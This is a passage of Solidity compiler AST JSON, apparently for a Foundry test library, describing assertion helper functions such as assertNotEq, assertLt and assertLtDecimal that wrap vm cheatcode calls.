t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},{"id":1457,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1448,"src":"11308:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},{"id":1458,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1450,"src":"11315:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"},{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1453,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"11287:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1455,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11290:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14531,"src":"11287:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_bytes32_$dyn_memory_ptr_$_t_array$_t_bytes32_$dyn_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes32[] memory,bytes32[] memory,string memory) pure external"}},"id":1459,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11287:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1460,"nodeType":"ExpressionStatement","src":"11287:32:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"11177:11:1","parameters":{"id":1451,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1445,"mutability":"mutable","name":"left","nameLocation":"11206:4:1","nodeType":"VariableDeclaration","scope":1462,"src":"11189:21:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":1443,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11189:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":1444,"nodeType":"ArrayTypeName","src":"11189:9:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":1448,"mutability":"mutable","name":"right","nameLocation":"11229:5:1","nodeType":"VariableDeclaration","scope":1462,"src":"11212:22:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":1446,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11212:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":1447,"nodeType":"ArrayTypeName","src":"11212:9:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":1450,"mutability":"mutable","name":"err","nameLocation":"11250:3:1","nodeType":"VariableDeclaration","scope":1462,"src":"11236:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1449,"name":"string","nodeType":"ElementaryTypeName","src":"11236:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"11188:66:1"},"returnParameters":{"id":1452,"nodeType":"ParameterList","parameters":[],"src":"11277:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1479,"nodeType":"FunctionDefinition","src":"11332:132:1","nodes":[],"body":{"id":1478,"nodeType":"Block","src":"11420:44:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1474,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1465,"src":"11445:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},{"id":1475,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1468,"src":"11451:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"},{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}],"expression":{"id":1471,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"11430:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1473,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11433:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14541,"src":"11430:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$returns$__$","typeString":"function (string memory[] memory,string memory[] memory) pure external"}},"id":1476,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11430:27:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1477,"nodeType":"ExpressionStatement","src":"11430:27:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"11341:11:1","parameters":{"id":1469,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1465,"mutability":"mutable","name":"left","nameLocation":"11369:4:1","nodeType":"VariableDeclaration","scope":1479,"src":"11353:20:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":1463,"name":"string","nodeType":"ElementaryTypeName","src":"11353:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":1464,"nodeType":"ArrayTypeName","src":"11353:8:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":1468,"mutability":"mutable","name":"right","nameLocation":"11391:5:1","nodeType":"VariableDeclaration","scope":1479,"src":"11375:21:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":1466,"name":"string","nodeType":"ElementaryTypeName","src":"11375:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":1467,"nodeType":"ArrayTypeName","src":"11375:8:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"11352:45:1"},"returnParameters":{"id":1470,"nodeType":"ParameterList","parameters":[],"src":"11420:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1499,"nodeType":"FunctionDefinition","src":"11470:156:1","nodes":[],"body":{"id":1498,"nodeType":"Block","src":"11577:49:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1493,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1482,"src":"11602:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},{"id":1494,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1485,"src":"11608:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},{"id":1495,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1487,"src":"11615:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"},{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1490,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"11587:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1492,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11590:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14553,"src":"11587:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory[] memory,string memory[] memory,string memory) pure external"}},"id":1496,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11587:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1497,"nodeType":"ExpressionStatement","src":"11587:32:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"11479:11:1","parameters":{"id":1488,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1482,"mutability":"mutable","name":"left","nameLocation":"11507:4:1","nodeType":"VariableDeclaration","scope":1499,"src":"11491:20:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":1480,"name":"string","nodeType":"ElementaryTypeName","src":"11491:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":1481,"nodeType":"ArrayTypeName","src":"11491:8:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":1485,"mutability":"mutable","name":"right","nameLocation":"11529:5:1","nodeType":"VariableDeclaration","scope":1499,"src":"11513:21:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":1483,"name":"string","nodeType":"ElementaryTypeName","src":"11513:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":1484,"nodeType":"ArrayTypeName","src":"11513:8:1","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":1487,"mutability":"mutable","name":"err","nameLocation":"11550:3:1","nodeType":"VariableDeclaration","scope":1499,"src":"11536:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1486,"name":"string","nodeType":"ElementaryTypeName","src":"11536:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"11490:64:1"},"returnParameters":{"id":1489,"nodeType":"ParameterList","parameters":[],"src":"11577:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1516,"nodeType":"FunctionDefinition","src":"11632:130:1","nodes":[],"body":{"id":1515,"nodeType":"Block","src":"11718:44:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1511,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1502,"src":"11743:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},{"id":1512,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1505,"src":"11749:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"},{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}],"expression":{"id":1508,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"11728:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1510,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11731:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14563,"src":"11728:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$returns$__$","typeString":"function (bytes memory[] memory,bytes memory[] memory) pure external"}},"id":1513,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11728:27:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1514,"nodeType":"ExpressionStatement","src":"11728:27:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"11641:11:1","parameters":{"id":1506,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1502,"mutability":"mutable","name":"left","nameLocation":"11668:4:1","nodeType":"VariableDeclaration","scope":1516,"src":"11653:19:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":1500,"name":"bytes","nodeType":"ElementaryTypeName","src":"11653:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":1501,"nodeType":"ArrayTypeName","src":"11653:7:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":1505,"mutability":"mutable","name":"right","nameLocation":"11689:5:1","nodeType":"VariableDeclaration","scope":1516,"src":"11674:20:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":1503,"name":"bytes","nodeType":"ElementaryTypeName","src":"11674:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":1504,"nodeType":"ArrayTypeName","src":"11674:7:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"11652:43:1"},"returnParameters":{"id":1507,"nodeType":"ParameterList","parameters":[],"src":"11718:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1536,"nodeType":"FunctionDefinition","src":"11768:154:1","nodes":[],"body":{"id":1535,"nodeType":"Block","src":"11873:49:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1530,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1519,"src":"11898:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},{"id":1531,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1522,"src":"11904:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},{"id":1532,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1524,"src":"11911:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"},{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1527,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"11883:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1529,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11886:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14575,"src":"11883:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes memory[] memory,bytes memory[] memory,string memory) pure external"}},"id":1533,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11883:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1534,"nodeType":"ExpressionStatement","src":"11883:32:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"11777:11:1","parameters":{"id":1525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1519,"mutability":"mutable","name":"left","nameLocation":"11804:4:1","nodeType":"VariableDeclaration","scope":1536,"src":"11789:19:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":1517,"name":"bytes","nodeType":"ElementaryTypeName","src":"11789:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":1518,"nodeType":"ArrayTypeName","src":"11789:7:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":1522,"mutability":"mutable","name":"right","nameLocation":"11825:5:1","nodeType":"VariableDeclaration","scope":1536,"src":"11810:20:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":1520,"name":"bytes","nodeType":"ElementaryTypeName","src":"11810:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":1521,"nodeType":"ArrayTypeName","src":"11810:7:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":1524,"mutability":"mutable","name":"err","nameLocation":"11846:3:1","nodeType":"VariableDeclaration","scope":1536,"src":"11832:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1523,"name":"string","nodeType":"ElementaryTypeName","src":"11832:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"11788:62:1"},"returnParameters":{"id":1526,"nodeType":"ParameterList","parameters":[],"src":"11873:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1551,"nodeType":"FunctionDefinition","src":"11928:110:1","nodes":[],"body":{"id":1550,"nodeType":"Block","src":"11997:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1546,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1538,"src":"12019:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1547,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1540,"src":"12025:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1543,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"12007:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1545,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12010:8:1","memberName":"assertLt","nodeType":"MemberAccess","referencedDeclaration":14287,"src":"12007:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure external"}},"id":1548,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12007:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1549,"nodeType":"ExpressionStatement","src":"12007:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLt","nameLocation":"11937:8:1","parameters":{"id":1541,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1538,"mutability":"mutable","name":"left","nameLocation":"11954:4:1","nodeType":"VariableDeclaration","scope":1551,"src":"11946:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1537,"name":"uint256","nodeType":"ElementaryTypeName","src":"11946:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1540,"mutability":"mutable","name":"right","nameLocation":"11968:5:1","nodeType":"VariableDeclaration","scope":1551,"src":"11960:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1539,"name":"uint256","nodeType":"ElementaryTypeName","src":"11960:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"11945:29:1"},"returnParameters":{"id":1542,"nodeType":"ParameterList","parameters":[],"src":"11997:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1569,"nodeType":"FunctionDefinition","src":"12044:134:1","nodes":[],"body":{"id":1568,"nodeType":"Block","src":"12132:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1563,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1553,"src":"12154:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1564,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1555,"src":"12160:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1565,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1557,"src":"12167:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1560,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"12142:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1562,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12145:8:1","memberName":"assertLt","nodeType":"MemberAccess","referencedDeclaration":14297,"src":"12142:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,string memory) pure external"}},"id":1566,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12142:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1567,"nodeType":"ExpressionStatement","src":"12142:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLt","nameLocation":"12053:8:1","parameters":{"id":1558,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1553,"mutability":"mutable","name":"left","nameLocation":"12070:4:1","nodeType":"VariableDeclaration","scope":1569,"src":"12062:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1552,"name":"uint256","nodeType":"ElementaryTypeName","src":"12062:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1555,"mutability":"mutable","name":"right","nameLocation":"12084:5:1","nodeType":"VariableDeclaration","scope":1569,"src":"12076:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1554,"name":"uint256","nodeType":"ElementaryTypeName","src":"12076:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1557,"mutability":"mutable","name":"err","nameLocation":"12105:3:1","nodeType":"VariableDeclaration","scope":1569,"src":"12091:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1556,"name":"string","nodeType":"ElementaryTypeName","src":"12091:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"12061:48:1"},"returnParameters":{"id":1559,"nodeType":"ParameterList","parameters":[],"src":"12132:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1587,"nodeType":"FunctionDefinition","src":"12184:152:1","nodes":[],"body":{"id":1586,"nodeType":"Block","src":"12278:58:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1581,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1571,"src":"12307:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1582,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1573,"src":"12313:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1583,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1575,"src":"12320:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1578,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"12288:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1580,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12291:15:1","memberName":"assertLtDecimal","nodeType":"MemberAccess","referencedDeclaration":14245,"src":"12288:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure external"}},"id":1584,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12288:41:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1585,"nodeType":"ExpressionStatement","src":"12288:41:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLtDecimal","nameLocation":"12193:15:1","parameters":{"id":1576,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1571,"mutability":"mutable","name":"left","nameLocation":"12217:4:1","nodeType":"VariableDeclaration","scope":1587,"src":"12209:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1570,"name":"uint256","nodeType":"ElementaryTypeName","src":"12209:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1573,"mutability":"mutable","name":"right","nameLocation":"12231:5:1","nodeType":"VariableDeclaration","scope":1587,"src":"12223:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1572,"name":"uint256","nodeType":"ElementaryTypeName","src":"12223:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1575,"mutability":"mutable","name":"decimals","nameLocation":"12246:8:1","nodeType":"VariableDeclaration","scope":1587,"src":"12238:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1574,"name":"uint256","nodeType":"ElementaryTypeName","src":"12238:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12208:47:1"},"returnParameters":{"id":1577,"nodeType":"ParameterList","parameters":[],"src":"12278:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"